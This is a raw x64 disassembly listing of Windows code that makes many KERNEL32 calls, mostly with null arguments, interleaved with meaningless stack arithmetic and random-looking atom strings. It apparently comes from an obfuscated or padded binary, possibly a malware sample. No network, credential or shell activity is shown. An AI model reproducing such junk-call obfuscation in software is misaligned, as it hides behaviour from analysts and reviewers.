call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rcx, qword [rsp + 0xce50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x671c], eax
movzx eax, byte [rsp + 0x3ad]
mov byte [rsp + 0x3c3], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0xc728]
mov rcx, qword [rsp + 0xcb48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6674], eax
lea rdx, [rsp + 0x26418]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6720], eax
mov rax, qword [rsp + 0xcce0]
mov rcx, qword [rsp + 0xc588]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xca58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc5d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58ec], eax
movsx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0xd4e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401c8a13], al
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20ec]
and eax, ecx
mov word [rsp + 0x206c], ax
lea rcx, [rsp + 0x1d548]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc1c0]
movzx eax, word [rax]
mov word [rsp + 0x233c], ax
movzx eax, word [0x1401c8a70]
mov rcx, qword [rsp + 0xce68]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f84], ax
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [rsp + 0xcbc8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb910], rax
movsx eax, byte [rsp + 0x37d]
movsx ecx, byte [0x1401c8a27]
sar eax, cl
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0xcb00]
mov rcx, qword [rsp + 0xcd28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd228], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov eax, dword [rsp + 0x5a30]
mov dword [rsp + 0x6724], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd548], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc3e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movsx eax, word [rsp + 0xbe4]
movsx ecx, word [rsp + 0x2098]
sub eax, ecx
mov word [rsp + 0x225c], ax
movzx eax, word [rsp + 0x2044]
movzx ecx, word [rsp + 0x1718]
add eax, ecx
mov word [0x1401c7130], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6324], eax
mov rax, qword [rsp + 0xd328]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94f0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movzx eax, word [rsp + 0x2018]
movzx ecx, word [rsp + 0x22f8]
sub eax, ecx
mov rcx, qword [rsp + 0xc7b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcdb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x606c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd550], rax
movzx eax, byte [0x1401c8a16]
mov byte [rsp + 0x3c4], al
mov rax, qword [rsp + 0xcb58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcc40]
shr rax, cl
mov rcx, qword [rsp + 0xd128]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov dword [rsp + 0x6728], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xd090]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd100]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x25e], al
movsx eax, word [rsp + 0x221c]
movsx ecx, word [rsp + 0x1238]
and eax, ecx
mov word [rsp + 0x233c], ax
mov rcx, qword [rsp + 0xcbd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd2d0]
movzx eax, word [rax]
mov word [0x1401c8c94], ax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xc928]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa048], rax
mov rax, qword [rsp + 0xc3e0]
cqo
mov rcx, qword [rsp + 0xc3a0]
idiv qword [rcx]
mov qword [rsp + 0x9790], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movzx eax, word [rsp + 0x22b8]
mov word [rsp + 0x2340], ax
movzx ecx, word [rsp + 0x21ec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2344], ax
mov rax, qword [0x1401c8a50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xccf0]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xcd28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xca08]
shr rax, cl
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2c5]
or eax, ecx
mov byte [rsp + 0x234], al
movzx ecx, word [rsp + 0x2084]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f30], ax
lea rcx, str.RkHqo89_1kpk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2348], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, qword [rsp + 0xcfe0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6558], eax
mov eax, dword [rsp + 0x6728]
mov rcx, qword [rsp + 0xc5d8]
mov qword [rsp + 0xd558], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd558]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x57c8], eax
lea rax, [rsp + 0xaf58]
mov qword [rsp + 0xd560], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6510], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd568], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xcd98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xda0]
sub eax, ecx
mov word [0x1401c70c0], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
movzx eax, word [rsp + 0xfdc]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2124], ax
movzx ecx, word [rsp + 0x2334]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x22c0], ax
lea rcx, [rsp + 0x1d6b0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x173]
mov byte [rsp + 0x3c5], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov eax, dword [rsp + 0x5ff0]
mov ecx, dword [rsp + 0x6524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6498], eax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xd2b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc510], rax
mov rax, qword [rsp + 0xcea8]
mov rax, qword [rax]
mov qword [rsp + 0xd570], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movsx eax, byte [0x1401c8a26]
mov rcx, qword [rsp + 0xcac8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39c], al
lea rcx, str.oNi6k_bPY7_J86su
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x234c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6590], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0xd440]
mov ecx, dword [rsp + 0x659c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5be8], eax
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15cc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcaf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20f0]
and eax, ecx
mov rcx, qword [0x1401c8b90]
mov word [rcx], ax
mov rax, qword [rsp + 0xd328]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc388]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xce40], rax
mov r9d, 2
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xc5d0]
mov rcx, qword [rsp + 0xc630]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x667c], eax
lea rcx, [rsp + 0x20398]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
mov word [rsp + 0x2350], ax
movsx eax, word [rsp + 0x2068]
mov rcx, qword [rsp + 0xd528]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1e38], ax
lea rcx, [rsp + 0x1d6d8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xa048]
mov rcx, qword [rsp + 0xa8e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaeb8], rax
mov rax, qword [rsp + 0xd0a0]
mov rcx, qword [0x1401c7020]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x649c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd1d0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64d0], eax
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc9d8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcee8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x672c], eax
mov eax, dword [rsp + 0x5a54]
mov dword [rsp + 0x6730], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xd4d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x220c]
shl eax, cl
mov word [rsp + 0x1f38], ax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xaf20]
mov rax, qword [rax]
sub rax, rcx
mov qword [str.2_rC], rax
mov eax, dword [0x1401c8a1c]
mov dword [rsp + 0x6734], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
movzx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0xd148]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xca88]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2148], ax
lea rdx, [rsp + 0x26300]
mov rcx, qword [rsp + 0xd480]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6738], eax
movzx ecx, word [rsp + 0x1fe4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x211c], ax
lea rax, [0x1401c8a70]
mov qword [rsp + 0xd578], rax
mov eax, dword [rsp + 0x6608]
mov ecx, dword [rsp + 0x66b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56dc], eax
mov rax, qword [rsp + 0xd3e0]
mov rcx, qword [rsp + 0xd228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1d8], rax
mov rax, qword [0x1401c8be8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce18]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x383], al
movzx eax, word [rsp + 0x1f68]
mov word [rsp + 0x2354], ax
movzx eax, word [rsp + 0x1164]
mov word [0x1401c8c98], ax
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [rsp + 0xd230]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd370], rax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xd400]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc2e8], rax
lea rcx, [rsp + 0x1d700]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6564], eax
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [0x1401c8a78]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9eb0], rax
mov edx, 0x2287
mov rcx, qword [rsp + 0xc968]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66d0], eax
mov rax, qword [rsp + 0xcd98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20ec]
shl eax, cl
mov rcx, qword [rsp + 0xd3e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfa8]
mov eax, dword [rax]
mov dword [rsp + 0x673c], eax
movzx ecx, word [rsp + 0x2160]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2358], ax
mov rcx, qword [rsp + 0xc920]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [0x1401c8a88]
movzx ecx, al
mov rax, qword [rsp + 0xb0e0]
shr rax, cl
mov qword [rsp + 0xc950], rax
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcce8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0xc728]
mov eax, dword [rax]
mov dword [rsp + 0x6740], eax
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x36b], al
movsx eax, word [rsp + 0x1fb4]
movsx ecx, word [rsp + 0x2030]
shl eax, cl
mov rcx, qword [0x1401c8b80]
mov word [rcx], ax
lea rdx, [rsp + 0x26028]
mov rcx, qword [rsp + 0xc538]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6744], eax
lea rax, [rsp + 0x848]
mov qword [rsp + 0xd580], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
movzx eax, word [rsp + 0x21cc]
movzx ecx, word [0x1401c7118]
or eax, ecx
mov word [rsp + 0x13a4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x203c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x1d6d8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, str.N3LNRbo_NG65
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x229c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.8BgtwhCGeTt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd588], rax
mov rax, qword [rsp + 0xce10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb0d8]
sar rax, cl
mov qword [rsp + 0xc760], rax
lea rax, [rsp + 0x205]
mov qword [rsp + 0xd590], rax
mov rax, qword [rsp + 0xcd28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc468], rax
lea rax, [rsp + 0x6448]
mov qword [rsp + 0xd598], rax
mov r9d, 0xab4
xor r8d, r8d
lea rdx, [rsp + 0xc7d8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x65fc], eax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2098], ax
movzx eax, word [0x1401c70e0]
mov rcx, qword [rsp + 0xd018]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14d8], ax
mov rax, qword [rsp + 0x94c8]
mov qword [0x1401c8ca0], rax
lea rcx, [rsp + 0x1d6b0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0x9cc]
movzx ecx, word [rsp + 0x22a0]
and eax, ecx
mov word [rsp + 0x1b74], ax
mov rax, qword [rsp + 0xcc88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf38]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa08], rax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov qword [rsp + 0xd5a0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6510], eax
movsx eax, byte [rsp + 0x28d]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3c0], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8a40]
mov ecx, dword [rsp + 0x64c0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5bdc], eax
mov eax, dword [rsp + 0x5f08]
movzx ecx, al
mov eax, dword [rsp + 0x5c40]
sar eax, cl
mov dword [rsp + 0x5520], eax
movzx ecx, word [rsp + 0x1f74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20c8], ax
mov r9d, 2
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xd5a8]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6534], eax
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x374]
sub eax, ecx
mov byte [rsp + 0x314], al
mov rax, qword [rsp + 0xa148]
mov qword [rsp + 0xd5b0], rax
mov rax, qword [rsp + 0xd4f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd28]
add eax, ecx
mov word [0x1401c8bb0], ax
mov rax, qword [rsp + 0xc9f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd068]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x22f4], ax
movzx eax, word [rsp + 0x1f14]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1840], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
movzx eax, word [rsp + 0x1fac]
movzx ecx, word [rsp + 0x2284]
or eax, ecx
mov word [rsp + 0x2188], ax
mov eax, dword [rsp + 0x5b60]
mov rcx, qword [rsp + 0xc430]
mov qword [rsp + 0xd5b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6664], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x3c6], al
mov edx, 0xab5
mov rcx, qword [rsp + 0xcc10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6430], eax
mov rax, qword [rsp + 0xc658]
mov rcx, qword [rsp + 0xa6b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc5a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc9e8]
movzx eax, word [rax]
mov word [rsp + 0x235c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x263a8]
mov rcx, qword [rsp + 0xc850]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x632c], eax
mov rax, qword [rsp + 0xcef8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fb8]
sub eax, ecx
mov word [rsp + 0x2110], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8a90]
mov rcx, qword [rsp + 0xca00]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c7140], rax
mov edx, 0x2e3
mov rcx, qword [rsp + 0xd3f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6488], eax
mov rax, qword [rsp + 0xc560]
mov rcx, qword [rsp + 0x94b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd198], rax
lea rcx, [rsp + 0x1d660]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc288], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd5c0], rax
mov r9d, 0x6f3
xor r8d, r8d
lea rdx, [rsp + 0xc5f0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6474], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6458], eax
mov rax, qword [rsp + 0xd540]
mov rcx, qword [rsp + 0xc540]
mov qword [rsp + 0xd5c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa778], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xd2b8]
mov qword [rsp + 0xd5d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9f10], rax
lea rcx, str.Ej9v_AyQMhtS_FladaKb
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2360], ax
movzx eax, word [rsp + 0x1f0c]
mov word [rsp + 0x2364], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcc00], rax
mov rax, qword [rsp + 0xcd70]
mov ecx, dword [rsp + 0x6498]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6484], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rcx, qword [rsp + 0xcf40]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, str.UGPA
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2368], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
imul eax, eax, 0x93
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0xc658]
mov rcx, qword [rsp + 0xcd28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9710], rax
lea rcx, str.FC4_R7BYi
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20ac], ax
movzx ecx, word [rsp + 0x229c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fb0], ax
mov rax, qword [rsp + 0xd598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6608]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e18], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6748], eax
lea rax, [rsp + 0x37d]
mov qword [0x1401c8ca8], rax
lea rcx, [rsp + 0x20398]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcd98]
movzx eax, word [rax]
mov word [rsp + 0x236c], ax
mov r9d, 0x6de
xor r8d, r8d
lea rdx, [rsp + 0xca50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6434], eax
mov rax, qword [0x1401c8ae0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2060]
add eax, ecx
mov word [rsp + 0x1dd4], ax
mov rax, qword [rsp + 0xce38]
movzx eax, word [rax]
mov word [rsp + 0x2370], ax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xd088]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa8d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rcx, qword [rsp + 0xd3c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6578], eax
mov rcx, qword [rsp + 0xd548]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x674c], eax
mov rax, qword [rsp + 0xd190]
mov rcx, qword [rsp + 0xcc68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6494], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62e8], eax
mov rax, qword [rsp + 0xcd18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd100]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x206], al
mov rax, qword [rsp + 0xcf18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc350]
mov qword [rsp + 0xd5d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5d8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd5b0], rax
lea rax, [rsp + 0x2068]
mov qword [rsp + 0xd5e0], rax
mov rcx, qword [rsp + 0xc398]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xd390]
